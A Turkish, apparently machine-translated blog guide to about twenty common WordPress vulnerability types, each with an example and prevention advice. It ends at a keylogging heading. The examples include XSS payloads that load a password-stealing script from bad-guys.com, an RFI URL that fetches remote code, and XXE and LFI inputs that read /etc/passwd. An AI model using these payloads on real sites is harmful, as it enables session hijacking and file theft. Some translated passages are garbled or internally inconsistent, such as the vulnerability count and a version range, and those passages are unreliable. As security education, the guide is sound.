WordPress Güvenlik Açıkları Açıklandı

Yayınlanan: 2021-01-27

Ne yazık ki, WordPress güvenlik açıkları mevcuttur. WordPress güvenlik açıkları eklentilerinizde, temalarınızda ve hatta WordPress çekirdeğinde bulunabilir. Ve WordPress artık tüm web sitelerinin yaklaşık %40'ına güç sağladığından, güvenlik açıklarını anlama görevi daha da önemlidir. Basitçe söylemek gerekirse: web sitenizin güvenliği konusunda dikkatli olmalısınız.

Bir WordPress güvenlik uzmanı değilseniz, tüm çeşitli WordPress güvenlik açıklarını anlamak göz korkutucu olabilir. Bir güvenlik açığının farklı önem düzeylerini ve WordPress güvenlik açığının risklerini anlamaya çalışmak da bunaltıcı olabilir.

Bu kılavuz, en yaygın 21 WordPress güvenlik açığını tanımlayacak, bir WordPress güvenlik açığının ciddiyetinin nasıl puanlanacağını kapsayacak, bir bilgisayar korsanının güvenlik açığından nasıl yararlanabileceğine ilişkin örnekler verecek ve bu güvenlik açıklarının nasıl önlenebileceğini gösterecektir. Hadi dalalım.

WordPress Güvenlik Açıkları Açıklandı

    WordPress Güvenlik Açığı nedir?

    WordPress güvenlik açığı, bir tema, eklenti veya WordPress çekirdeğindeki bir bilgisayar korsanı tarafından kullanılabilecek bir zayıflık veya kusurdur. Başka bir deyişle, WordPress güvenlik açıkları, bir bilgisayar korsanının kötü niyetli faaliyetleri engellemek için kullanabileceği bir giriş noktası oluşturur.

    Web sitesi korsanlığının neredeyse tamamen otomatik olduğunu unutmayın. Bu nedenle, bilgisayar korsanları neredeyse hiç vakit kaybetmeden çok sayıda web sitesine kolayca girebilir. Bilgisayar korsanları, bilinen güvenlik açıklarını arayan interneti tarayan özel araçlar kullanır.

    Bilgisayar korsanları kolay hedefleri sever ve bilinen güvenlik açıklarına sahip bir yazılım çalıştıran bir web sitesine sahip olmak, bir bilgisayar korsanına WordPress web sitenize, sunucunuza, bilgisayarınıza veya internete bağlı herhangi bir başka cihaza girmesi için adım adım talimatlar vermek gibidir.

    Aylık WordPress güvenlik açığı özet raporlarımız, herkese açık olarak açıklanan tüm WordPress çekirdeğini, WordPress eklentisini ve tema güvenlik açıklarını kapsar. Bu özetlerde, güvenlik açığı bulunan eklentinin veya temanın adını, etkilenen sürümleri ve güvenlik açığı türünü paylaşıyoruz.

    Sıfır Gün Güvenlik Açığı nedir?

    Sıfır gün güvenlik açığı, geliştirici güvenlik açığı için bir düzeltme eki yayınlamadan önce herkese açık olarak açıklanan bir güvenlik açığıdır.

    WordPress güvenlik açıkları söz konusu olduğunda, sıfırıncı gün güvenlik açığının tanımını anlamak önemlidir. Güvenlik açığı herkese açıklandığı için geliştiricinin güvenlik açığını yamalamak için sıfır günü vardır. Ve bunun eklentileriniz ve temalarınız için büyük etkileri olabilir.

    Tipik olarak, bir güvenlik araştırmacısı bir güvenlik açığı keşfedecek ve güvenlik açığını özel olarak yazılımın sahibi olan şirketin geliştiricilerine açıklayacaktır. Güvenlik araştırmacısı ve geliştirici, bir yama kullanıma sunulduğunda tüm ayrıntıların yayınlanacağı konusunda hemfikirdir. Daha fazla kişiye büyük güvenlik açıklarını güncellemeleri için zaman tanımak için yama yayınlandıktan sonra güvenlik açığının açıklanmasında küçük bir gecikme olabilir.

    Bununla birlikte, bir geliştirici güvenlik araştırmacısına yanıt vermezse veya güvenlik açığı için bir yama sağlayamazsa, araştırmacı geliştiriciye bir yama yayınlaması için baskı yapmak için güvenlik açığını kamuya açıklayabilir.

    Bir güvenlik açığını herkese açık olarak ifşa etmek ve görünüşe göre bir sıfır gün tanıtmak, verimsiz görünebilir. Ancak, bir araştırmacının geliştiriciye güvenlik açığını düzeltmesi için baskı yapması gereken tek kaldıraç budur.

    Google'ın Sıfır Projesi, güvenlik açıklarını ifşa etme konusunda benzer yönergelere sahiptir. 90 gün sonra güvenlik açığının tüm ayrıntılarını yayınlarlar. Güvenlik açığının düzeltilip düzeltilmediği.

    Güvenlik açığı, herkesin bulabileceği bir yerdedir. Bir bilgisayar korsanı, geliştirici bir yama yayınlamadan önce güvenlik açığını bulursa, son kullanıcının en kötü kabusu olur…. Aktif olarak sömürülen bir sıfır gün.

    Aktif Olarak Yararlanılan Sıfır Gün Güvenlik Açığı nedir?

    Aktif Olarak Sömürülen Sıfır Gün Güvenlik Açığı , kulağa tam olarak böyle geliyor. Bilgisayar korsanlarının hedeflediği, saldırdığı ve aktif olarak istismar ettiği yama uygulanmamış bir güvenlik açığıdır.

    2018'in sonunda, bilgisayar korsanları WP GDPR Uyumluluk eklentisindeki ciddi bir WordPress güvenlik açığından aktif olarak yararlanıyorlardı. İstismar, yetkisiz kullanıcıların (bir sonraki bölümde bununla ilgili daha fazla bilgi için) WP kullanıcı kayıt ayarlarını değiştirmesine ve varsayılan yeni kullanıcı rolünü bir aboneden bir yöneticiye değiştirmesine izin verdi.

    Bu bilgisayar korsanları, bu güvenlik açığını WP GDPR Uyumluluk eklentisi ve güvenlik araştırmacılarından önce buldu. Bu nedenle, eklentinin yüklü olduğu herhangi bir web sitesi, siber suçlular için kolay ve garantili bir işaretti.

    Kendinizi Sıfır Gün Güvenlik Açısından Nasıl Korursunuz?

    Web sitenizi Zero-Day güvenlik açığından korumanın en iyi yolu, güvenlik açığı düzeltilene kadar yazılımı devre dışı bırakmak ve kaldırmaktır. Neyse ki, WP GDPR Uyumluluk eklentisi geliştiricileri hızlı davrandı ve güvenlik açığı kamuya açıklandıktan bir gün sonra bu güvenlik açığı için bir yama yayınladı.

    Yamasız güvenlik açıkları, web sitenizi bilgisayar korsanları için kolay bir hedef haline getirir.

    Kimliği Doğrulanmamış ve Kimliği Doğrulanmış WordPress Güvenlik Açıkları

    WordPress güvenlik açıklarından bahsederken aşina olmanız gereken iki terim daha var.

    1. Kimliği DoğrulanmamışKimliği doğrulanmamış bir WordPress güvenlik açığı, herkesin bu güvenlik açığından yararlanabileceği anlamına gelir.
    2. Kimliği Doğrulandı – Kimliği doğrulanmış bir WordPress güvenlik açığı, bu güvenlik açığından yararlanmak için oturum açmış bir kullanıcı gerektirdiği anlamına gelir.

    Kimliği doğrulanmış bir kullanıcı gerektiren bir güvenlik açığı, özellikle yönetici düzeyinde ayrıcalıklar gerektiriyorsa, bir bilgisayar korsanının istismar etmesi çok daha zordur. Ayrıca, bir bilgisayar korsanının zaten bir dizi yönetici kimlik bilgileri varsa, ortalığı karıştırmak için bir güvenlik açığından yararlanmaları gerekmez.

    Bir uyarı var. Bazı kimliği doğrulanmış güvenlik açıklarından yararlanmak için yalnızca abone düzeyinde yetenekler gerekir. Web siteniz herkesin kaydolmasına izin veriyorsa, bununla kimliği doğrulanmamış bir güvenlik açığı arasında pek bir fark yoktur.

    19 Yaygın WordPress Güvenlik Açığı Açıklandı

    WordPress güvenlik açıkları söz konusu olduğunda, 21 yaygın güvenlik açığı türü vardır. Bu WordPress güvenlik açığı türlerinin her birini ele alalım.

    1. Kimlik Doğrulama Atlaması

    Bir Kimlik Doğrulama Atlama güvenlik açığı, bir saldırganın kimlik doğrulama gereksinimlerini atlamasına ve normalde kimliği doğrulanmış kullanıcılar için ayrılmış görevleri gerçekleştirmesine olanak tanır.

    Kimlik doğrulama, bir kullanıcının kimliğini doğrulama işlemidir. WordPress, kullanıcıların kimliklerini doğrulamak için bir kullanıcı adı ve şifre girmesini gerektirir.

    Kimlik Doğrulama Atlama Örneği

    Uygulamalar, sabit bir parametre kümesine dayalı olarak kimlik doğrulamasını doğrular. Saldırgan, genellikle kimlik doğrulama gerektiren web sayfalarına erişmek için bu parametreleri değiştirebilir.

    Bunun gibi çok basit bir örnek, URL'deki bir kimlik doğrulama parametresidir.

     https:/my-website/some-plugint?param=authenticated&param=no

    Yukarıdaki URL, no değerine sahip bir kimlik doğrulama parametresine sahiptir. Bu nedenle, bu sayfayı ziyaret ettiğimizde, bu sayfadaki bilgileri görüntülemeye yetkili olmadığımızı bildiren bir mesaj ile karşılaşacağız.

    Ancak, kimlik doğrulama denetimi kötü kodlanmışsa, bir saldırgan özel sayfaya erişmek için kimlik doğrulama parametresini değiştirebilir.

     https:/my-website/some-plugint?param=authenticated&param=yes

    Bu örnekte, bir bilgisayar korsanı, sayfayı görüntülemek için kimlik doğrulama gereksinimini atlamak için URL'deki kimlik doğrulama değerini evet olarak değiştirebilir.

    Kimlik Doğrulamayı Atlama Önlemeyi Önleme

    İki faktörlü kimlik doğrulamayı kullanarak web sitenizi Bozuk Kimlik Doğrulama güvenlik açıklarından korumaya yardımcı olabilirsiniz.

    2. Arka Kapı Güvenlik Açığı

    Bir Arka Kapı güvenlik açığı, hem yetkili hem de yetkisiz kullanıcıların normal güvenlik önlemlerini atlamasına ve bir bilgisayara, sunucuya, web sitesine veya uygulamaya üst düzey erişim elde etmesine olanak tanır.

    Arka Kapı Örneği

    Bir geliştirici, bir yönetici kullanıcı olarak kodu kodlama ve test etme arasında hızla geçiş yapabilmeleri için bir arka kapı oluşturur. Ne yazık ki geliştirici, yazılım halka açıklanmadan önce arka kapıyı kaldırmayı unutuyor.

    Bir bilgisayar korsanı arka kapıyı bulursa, yazılıma yönetici erişimi elde etmek için giriş noktasından yararlanabilir. Artık bilgisayar korsanının yönetici erişimi olduğuna göre, kötü amaçlı yazılım enjekte etmek veya hassas verileri çalmak gibi her türlü kötü niyetli şeyi yapabilirler.

    Bir Arka Kapı Nasıl Önlenir

    Bir çok arka kapı tek bir soruna indirgenebilir, güvenlik yanlış yapılandırması. Güvenlik yanlış yapılandırma sorunları, koddaki kullanılmayan tüm özellikleri kaldırarak, tüm kitaplıkları güncel tutarak ve hata mesajlarını daha genel hale getirerek azaltılabilir.

    3. PHP Nesne Enjeksiyon Güvenlik Açığı

    Bir kullanıcının, unserialized() PHP işlevine geçirilmeden önce sterilize edilmemiş (yani geçersiz karakterler kaldırılmadığı anlamına gelir) bir girdi göndermesiyle bir PHP Nesne Ekleme güvenlik açığı oluşur.

    PHP Nesne Enjeksiyon Örneği

    Burada, orijinal olarak sumofpwn tarafından bildirilen Örnek Reklam Yöneticisi WordPress eklentisindeki bir PHP Nesne Ekleme güvenlik açığının gerçek dünyadan bir örneği verilmiştir.

    Sorun, eklentiler sam-ajax-loader.php dosyasındaki unserialize() sam-ajax-loader.php yapılan iki güvenli olmayan çağrıdan kaynaklanmaktadır. Giriş, aşağıdaki kodda görüldüğü gibi doğrudan POST isteğinden alınır.

     if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

    Bu sorun, bir saldırganın kötü amaçlı kod girmesine ve yürütmesine neden olabilir.

    PHP Nesne Enjeksiyonu Nasıl Önlenir

    Kullanıcı tarafından sağlanan girdiyle unserialize() işlevini kullanmayın, bunun yerine JSON işlevlerini kullanın.

    4. Siteler Arası Komut Dosyası Güvenlik Açığı

    Bir web uygulaması kullanıcıların URL yoluna özel kod eklemesine izin verdiğinde XSS veya Siteler Arası Komut Dosyası Çalıştırma güvenlik açığı oluşur. Saldırgan, kurbanın web tarayıcısında kötü amaçlı kod çalıştırmak, kötü amaçlı bir web sitesine yeniden yönlendirme oluşturmak veya bir kullanıcı oturumunu ele geçirmek için bu güvenlik açığından yararlanabilir.

    Yansıtılan üç ana XSS türü vardır. depolanmış ve DOM Tabanlı

    5. Yansıyan Siteler Arası Komut Dosyası Güvenlik Açığı

    Yansıtılan XSS veya Yansıtılan Siteler Arası Komut Dosyası, bir istemci isteğinde (tarayıcıda sizin tarafınızdan yapılan bir istek) kötü amaçlı bir komut dosyası gönderildiğinde ve sunucu tarafından geri yansıtıldığında ve tarayıcınız tarafından yürütüldüğünde oluşur.

    Yansıtılan Siteler Arası Komut Dosyası Örneği

    Diyelim ki yourfavesite.com , web sitesinin içeriğinin bir kısmını görüntülemek için oturum yourfavesite.com gerektiriyor. Diyelim ki bu web sitesi kullanıcı girdilerini düzgün bir şekilde kodlayamıyor.

    Saldırgan, kötü amaçlı bir bağlantı oluşturarak bu güvenlik açığından yararlanabilir ve bunu e-postalarda ve sosyal medya gönderilerinde en yourfavesite.com kullanıcılarıyla yourfavesite.com .

    Saldırgan, kötü niyetli bağlantının tehdit edici olmayan ve çok tıklanabilir görünmesini sağlamak için bir URL kısaltma aracı kullanır, yourfavesite.com/cool-stuff . Ancak, kısaltılmış bağlantıyı tıkladığınızda, tam bağlantı, tarayıcınız yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js tarafından yürütülür.

    Bağlantıyı tıkladıktan sonra, yourfavesite.com ve kötü amaçlı komut dosyası tarayıcınıza geri yansıtılarak , saldırganın oturum çerezlerinizi ve yourfavesite.com hesabınızı ele geçirmesine olanak tanıyacaktır.

    Yansıyan Siteler Arası Komut Dosyası Nasıl Önlenir

    OWASP çapraz komut dosyası çalıştırma önleme hile sayfasındaki Kural #5, güvenilmeyen verileri HTML URL parametre değerlerine eklemeden önce URL kodlamasıdır. Bu kural, güvenilmeyen verileri HTTP GET parametre değerine eklerken yansıtılan bir XSS güvenlik açığı oluşturmayı önlemeye yardımcı olabilir.

    <a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

    6. Depolanan Siteler Arası Komut Dosyası Güvenlik Açığı

    Stored XSS veya Stored Cross-Site Scripting güvenlik açığı, bilgisayar korsanlarının kötü amaçlı kod enjekte etmesine ve bir web uygulamasının sunucusunda saklamasına olanak tanır.

    Depolanan Siteler Arası Komut Dosyası Örneği

    Bir saldırgan, yourfavesite.com ziyaretçilerin sitenin yorum bölümüne HTML etiketleri yerleştirmesine izin verdiğini yourfavesite.com . Böylece saldırgan yeni bir yorum oluşturur:

    Harika makale! Bu diğer ilgili harika <script src=”http://bad-guys.com/passwordstealingcode.js> makalesine göz atın. </script>

    Not: Yansıtılan bir XSS güvenlik açığı, bir ziyaretçinin yürütmek için kötü amaçlı kod bağlantısını tıklamasını gerektirir. Depolanmış bir XSS saldırısı, yalnızca yorumun bulunduğu sayfanın ziyaret edilmesini gerektirir. Kötü amaçlı kod, her sayfa yüklemesinde çalışır.

    Artık kötü adamımız yorumu eklediğine göre, bu sayfanın gelecekteki her ziyaretçisi onların kötü niyetli komut dosyasına maruz kalacak. Komut dosyası, kötü adamın web sitesinde barındırılır ve ziyaretçilerin oturum çerezlerini ve en yourfavesite.com hesaplarını ele yourfavesite.com yeteneğine sahiptir.

    Depolanan Siteler Arası Komut Dosyası Nasıl Engellenir

    OWASP çapraz komut dosyası çalıştırma önleme hile sayfasındaki 1 numaralı kural, HTML öğelerine güvenilmeyen verileri eklemeden önce HTML kodlamasıdır.

     <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
     <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

    Komut dosyası, stil veya olay işleyicileri gibi herhangi bir yürütme bağlamına geçişi önlemek için aşağıdaki karakterleri kodlama . Spesifikasyonda onaltılık varlıkların kullanılması önerilir.

     & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

    7. Belge Nesne Modeli Tabanlı Siteler Arası Komut Dosyası Çalıştırma Güvenlik Açığı

    DOM tabanlı bir XSS veya Belge Nesne Modeli Tabanlı Siteler Arası Komut Dosyası Çalıştırma güvenlik açığı, bir web sitesinin istemci tarafı komut dosyası kullanıcı tarafından sağlanan verileri Belge Nesne Modeli'ne (DOM) yazdığında ortaya çıkar. Web sitesi daha sonra DOM'dan kullanıcı tarihli bilgiyi okur ve bunu ziyaretçinin web tarayıcısına verir.

    Kullanıcı tarafından sağlanan veriler düzgün bir şekilde işlenmezse, bir saldırgan, web sitesi DOM'den kodu okuduğunda yürütülecek kötü amaçlı kodu enjekte edebilir.

    Not: Yansıtılan ve Depolanan XSS, sunucu tarafı sorunları iken DOM tabanlı XSS ​​bir istemci (tarayıcı) sorunudur.

    Belge Nesnesi Modeli Tabanlı Siteler Arası Komut Dosyası Örneği

    Bir DOM XSS saldırısını açıklamanın yaygın bir yolu, özel bir karşılama sayfasıdır. Bir hesap oluşturduktan sonra, diyelim ki yourfavesite.com , aşağıdaki kodu kullanarak sizi adınıza göre karşılayacak şekilde özelleştirilmiş bir karşılama sayfasına yönlendiriliyorsunuz. Ve kullanıcı adı URL'ye kodlanmıştır.

     <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

    Böylece, yourfavesite.com/account?name=yourname için bir yourfavesite.com/account?name=yourname .

    Saldırgan, yeni kullanıcıya aşağıdaki URL'yi göndererek DOM tabanlı bir XSS saldırısı gerçekleştirebilir:

     http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

    Yeni kullanıcı bağlantıyı tıkladığında, tarayıcısı şunlar için bir istek gönderir:

     /account?name=<script>alert(document.cookie)</script>

    bad-guys.com . Web sitesi, yukarıdaki Javascript kodunu içeren sayfayla yanıt verir.

    Yeni kullanıcının tarayıcısı olan sayfa için bir DOM nesnesi oluşturur document.location nesne dize içerir:

     http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

    Sayfadaki orijinal kod, varsayılan parametrenin, işaretlemeyi sayfaya yansıtarak HTML işaretlemesi içermesini beklemez. Ardından yeni kullanıcının tarayıcısı sayfayı oluşturur ve saldırganın komut dosyasını yürütür:

     alert(document.cookie)

    DOM Tabanlı Siteler Arası Komut Dosyası Çalıştırma Nasıl Önlenir

    OWASP Dom tabanlı siteler arası komut dosyası çalıştırma önleme hile sayfasındaki 1. Kural, HTML kaçışıdır. Ardından, JS, yürütme bağlamında HTML alt bağlamına güvenilmeyen verileri eklemeden önce kaçar.

    Örnek Tehlikeli HTML Yöntemleri:

    Öznitellikler

     element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

    yöntemler

     document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

    DOM kasasında HTML'de dinamik güncellemeler yapmak için OWASP şunları önerir:

    1. HTML kodlaması ve ardından
    2. Bu örneklerde gösterildiği gibi, tüm güvenilmeyen girdileri kodlayan JavaScript:
     element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
     document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

    8. Siteler Arası İstek Sahteciliği Güvenlik Açığı

    CSRF veya Siteler Arası İstek Sahteciliği güvenlik açığı, bir siber suçlu bir kullanıcıyı istenmeyen eylemler gerçekleştirmesi için kandırdığında ortaya çıkar. Saldırgan, kullanıcının bir uygulamaya yönelik isteğini taklit eder.

    Siteler Arası İstek Sahteciliği Örneği

    Ocak 2020 WordPress Güvenlik Açığı Özetimizde, Kod Parçacıkları eklentisinde bulunan Siteler Arası İstek Sahteciliği güvenlik açığı hakkında rapor vermiştik. (Eklenti, 2.14.0 sürümünde hızlı bir şekilde yamalandı)

    Eklentinin CRSF koruması olmaması, herkesin bir yönetici adına sahte istekte bulunmasına ve savunmasız bir siteye yürütülebilir kod enjekte etmesine izin verdi. Saldırgan, kötü amaçlı kod yürütmek ve hatta siteyi tamamen ele geçirmek için bu güvenlik açığından yararlanabilirdi.

    Siteler Arası İstek Sahteciliği Nasıl Önlenir

    Çoğu kodlama çerçevesi, CSRF'ye karşı koruma sağlamak için yerleşik senkronize belirteç savunmalarına sahiptir ve kullanılmaları gerekir.

    PHP ve Apache CSRF güvenlik açıklarını korumak için kullanılabilecek CSRF Protector Project gibi harici bileşenler de vardır.

    9. Sunucu Tarafı İstek Sahteciliği Güvenlik Açığı

    Bir SSRF veya Sunucu-Site İstek Sahtekarlığı güvenlik açığı, bir saldırganın sunucu tarafı bir uygulamayı, kendi seçtikleri rastgele bir etki alanına HTTP istekleri yapmak için kandırmasına olanak tanır.

    Sunucu Tarafı İstek Sahteciliği Örneği

    Bir Yansıtılmış Siteler Arası Komut Dosyası Çalıştırma saldırısını gerçekleştirmek için bir SSRF güvenlik açığından yararlanılabilir. Saldırgan, bad-guys.com'dan kötü amaçlı bir komut dosyası alabilir ve bunu bir web sitesinin tüm ziyaretçilerine sunabilir.

    Sunucu Tarafı İstek Sahteciliği Nasıl Önlenir

    SSRF güvenlik açıklarını azaltmanın ilk adımı, girdileri doğrulamaktır. Örneğin, sunucunuz farklı dosyaları getirmek için kullanıcı tarafından sağlanan URL'lere güveniyorsa, URL'yi doğrulamanız ve yalnızca güvendiğiniz hedef ana bilgisayarlara izin vermeniz gerekir.

    SSRF önleme hakkında daha fazla bilgi için OWASP hile sayfasına bakın.

    10. Ayrıcalık Yükseltme Güvenlik Açığı

    Ayrıcalık Yükseltme güvenlik açığı, bir saldırganın normalde daha yüksek düzeyde ayrıcalıklar gerektiren görevleri yürütmesine olanak tanır.

    Ayrıcalık Yükseltme Örneği

    Kasım 2020 WordPress Güvenlik Açığı Özetimizde, Ultimate Üye eklentisinde bulunan bir ayrıcalık yükseltme güvenlik açığı hakkında rapor vermiştik (Güvenlik açığı 2.1.12 sürümünde düzeltilmiştir).

    Saldırgan, wp_capabilities kullanıcı wp_capabilities için bir kullanıcının rolünü tanımlayan bir dizi parametresi sağlayabilir. Kayıt işlemi sırasında, gönderilen kayıt ayrıntıları update_profile işlevine iletildi ve gönderilenlerden bağımsız olarak gönderilen tüm ilgili meta veriler, bu yeni kayıtlı kullanıcı için güncellenecektir.

    Güvenlik açığı, esasen yeni bir kullanıcının kaydolurken yönetici talep etmesine izin verdi.

    Ayrıcalık Yükselmesi Nasıl Önlenir

    iThemes Security Pro, bir Güvenilir Cihazlar listesine yönetici erişimini kısıtlayarak web sitenizi Bozuk Erişim Kontrolüne karşı korumaya yardımcı olabilir.

    11. Uzaktan Kod Yürütme Güvenlik Açığı

    Bir RCE veya Uzaktan Kod Yürütme güvenlik açığı, bir saldırganın bir bilgisayara veya sunucuya erişmesine ve bunlarda değişiklik yapmasına ve hatta devralmasına olanak tanır.

    Uzaktan Kod Yürütme Örneği

    2018'de Microsoft, Excel'de bulunan bir uzaktan kod yürütme güvenlik açığını açıkladı.

    Güvenlik açığından başarıyla yararlanan bir saldırgan, geçerli kullanıcı bağlamında rasgele kod çalıştırabilir. Geçerli kullanıcı yönetici kullanıcı haklarıyla oturum açtıysa, bir saldırgan etkilenen sistemin denetimini ele geçirebilir. Saldırgan daha sonra programları yükleyebilir; verileri görüntüleme, değiştirme veya silme; veya tam kullanıcı haklarına sahip yeni hesaplar oluşturun. Hesapları sistemde daha az kullanıcı haklarına sahip olacak şekilde yapılandırılmış kullanıcılar, yönetici kullanıcı haklarıyla çalışan kullanıcılardan daha az etkilenebilir.

    Uzaktan Kod Yürütmeyi Önleme

    Bir RCE güvenlik açığını azaltmanın en kolay yolu, istenmeyen karakterleri filtreleyerek ve kaldırarak kullanıcı girişini doğrulamaktır.

    Ana şirketimiz Liquid Web'in uzaktan kod yürütülmesini önleme konusunda harika bir makalesi var.

    12. Dosya Ekleme Güvenlik Açığı

    Dosya Ekleme güvenlik açığı, bir web uygulaması, kullanıcının dosyalara girdi göndermesine veya sunucuya dosya yüklemesine izin verdiğinde ortaya çıkar.

    Yerel ve Uzak olmak üzere iki tür dosya ekleme güvenlik açığı vardır.

    13. Yerel Dosya Ekleme Güvenlik Açığı

    Bir LFI veya Yerel Dosya Ekleme güvenlik açığı, bir saldırganın bir web sitesinin sunucusundaki dosyaları okumasına ve bazen yürütmesine olanak tanır.

    Yerel Dosya Dahil Etme Örneği

    yourfavesite.com include etmek için geçirilen yolların gerektiği gibi temizlenmediği yourfavesite.com bir kez daha bakalım. Örneğin, aşağıdaki URL'ye bir göz atalım.

     yourfavesite.com/module.php?file=example.file

    Bir saldırganın, sunucudaki rastgele bir dosyaya erişmek için URL parametresini değiştirmesi mümkündür.

     yourfavesite.com/module.php?file=etc/passwd

    URL'deki dosyanın değerini değiştirmek, bir saldırganın psswd dosyasının içeriğini görüntülemesine izin verebilir.

    Yerel Dosya Dahil Etmeyi Önleme

    Sayfanın içerebileceği izin verilen bir dosya listesi oluşturun, ardından seçilen dosyaya erişmek için bir tanımlayıcı kullanın. Ardından, geçersiz bir tanımlayıcı içeren tüm istekleri engelleyin.

    14. Uzak Dosya Ekleme Güvenlik Açığı

    Bir RFI veya Uzak Dosya Ekleme güvenlik açığı, bir saldırganın, genellikle hedef uygulamada uygulanan "dinamik dosya ekleme" mekanizmalarından yararlanarak bir dosya eklemesine olanak tanır.

    Uzak Dosya Ekleme Örneği

    Spritz'li WordPress Eklentisi WP, bir RFI güvenlik açığı olduğu için WordPress.org deposunda kapatıldı.

    Güvenlik açığının kaynak kodu aşağıdadır:

     if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

    content.filter.php?url= değerinin değeri değiştirilerek koddan yararlanılabilir. Örneğin:

     yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

    Uzaktan Dosya Dahil Etmeyi Önleme

    Sayfanın içerebileceği izin verilen bir dosya listesi oluşturun, ardından seçilen dosyaya erişmek için bir tanımlayıcı kullanın. Ardından, geçersiz bir tanımlayıcı içeren tüm istekleri engelleyin.

    15. Dizin Geçişi Güvenlik Açığı

    Dizin Geçişi veya Dosya Geçişi güvenlik açığı, bir saldırganın bir uygulamayı çalıştıran sunucudaki rastgele dosyaları okumasına olanak tanır.

    Dizin Geçiş Örneği

    WordPress 5.7 – 5.03 sürümleri, kullanıcı giriş verilerini düzgün bir şekilde doğrulayamadıkları için dizin geçiş saldırılarına karşı savunmasızdı. En azından author ayrıcalıklarına sahip bir hesaba erişimi olan bir saldırgan, dizin geçişi güvenlik açığından yararlanabilir ve temel alınan sunucuda kötü amaçlı PHP kodu yürüterek tam bir uzaktan ele geçirmeye yol açabilir.

    Dizin Geçişi Nasıl Önlenir

    Geliştiriciler, dil dosyalarını şablonlarken veya kullanırken dosya adlarının gerçek bölümleri yerine dizinleri kullanabilir.

    16. Kötü Amaçlı Yönlendirme Güvenlik Açığı

    Kötü Amaçlı Yeniden Yönlendirme güvenlik açığı, bir saldırganın site ziyaretçilerini başka bir web sitesine yönlendirmek için kod enjekte etmesine olanak tanır.

    Kötü Amaçlı Yönlendirme Örneği

    Diyelim ki bir çevrimiçi butikte arama aracını kullanarak mavi bir kazak arıyorsunuz.

    Ne yazık ki, butiğin sunucusu, kullanıcı girişlerini düzgün bir şekilde kodlayamıyor ve bir saldırgan, arama sorgunuza kötü amaçlı bir yönlendirme komut dosyası ekleyebildi.

    Bu nedenle, butiğin arama alanına mavi kazak yazıp enter tuşuna bastığınızda, aramanızın açıklamasına uyan kazakların olduğu butik sayfası yerine saldırganın web sayfasına çıkıyorsunuz.

    Kötü Amaçlı Yönlendirme Nasıl Önlenir

    Kullanıcı girişlerini temizleyerek, URL'leri doğrulayarak ve tüm site dışı yönlendirmeler için ziyaretçi onayı alarak kötü amaçlı yönlendirmelere karşı koruma sağlayabilirsiniz.

    17. XML Dış Varlık Güvenlik Açığı

    Bir XXE veya XML Harici Varlık güvenlik açığı, bir saldırganın bir XML ayrıştırıcısını hassas bilgileri kendi denetimi altındaki harici bir varlığa geçirmesi için kandırmasına olanak tanır.

    XML Harici Varlık Örneği

    Saldırgan, kullanıcı hesabı bilgilerini depolayan etc/passwd gibi hassas dosyalara erişim sağlamak için bir XXE güvenlik açığından yararlanabilir.

     <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

    XML Harici Varlık Nasıl Önlenir

    XXE'yi önlemenin en iyi yolu, JSON gibi daha az karmaşık veri biçimleri kullanmak ve hassas verilerin serileştirilmesinden kaçınmaktır.

    18. Hizmet Reddi Saldırısı

    DoS veya Hizmet Reddi saldırısı, web sitenizi veya uygulamanızı ağ trafiğiyle doldurarak kullanıcılar tarafından kullanılamaz hale getirmeye yönelik kasıtlı bir girişimdir.

    DDoS Dağıtılmış Hizmet Reddi saldırısında, bir saldırgan bir ağı trafikle doldurmak için birden çok kaynak kullanır. Saldırgan, trafik akışını artırmak için kötü amaçlı yazılım bulaşmış bilgisayar, yönlendirici ve IoT cihaz gruplarını ele geçirir.

    Hizmet Reddi Saldırısı Örneği

    Şimdiye kadarki en büyük DDoS (Dağıtılmış Hizmet Reddi) saldırısı, bu yılın Şubat ayında AWS'ye karşı yapıldı. Amazon, yönetilen tehdit koruma hizmeti olan AWS Shield'in bu büyük DDoS saldırısını gözlemlediğini ve azalttığını bildirdi. Saldırı 3 gün sürdü ve saniyede 2,3 Terabayta ulaştı.

    Hizmet Reddi Saldırısı Nasıl Önlenir

    Bir DoS saldırısını azaltmanın 2 ana yolu vardır.

    1. İhtiyacınızdan daha fazla hosting satın alın. Emrinizde ekstra kaynaklara sahip olmak, bir DoS saldırısının neden olduğu artan talebin üstesinden gelmenize yardımcı olabilir.
    2. Cloudflare gibi sunucu düzeyinde bir güvenlik duvarı kullanın. Bir güvenlik duvarı, trafikte olağandışı bir artış algılayabilir ve web sitenizin aşırı yüklenmesini önleyebilir.

    19. Tuş Kaydı

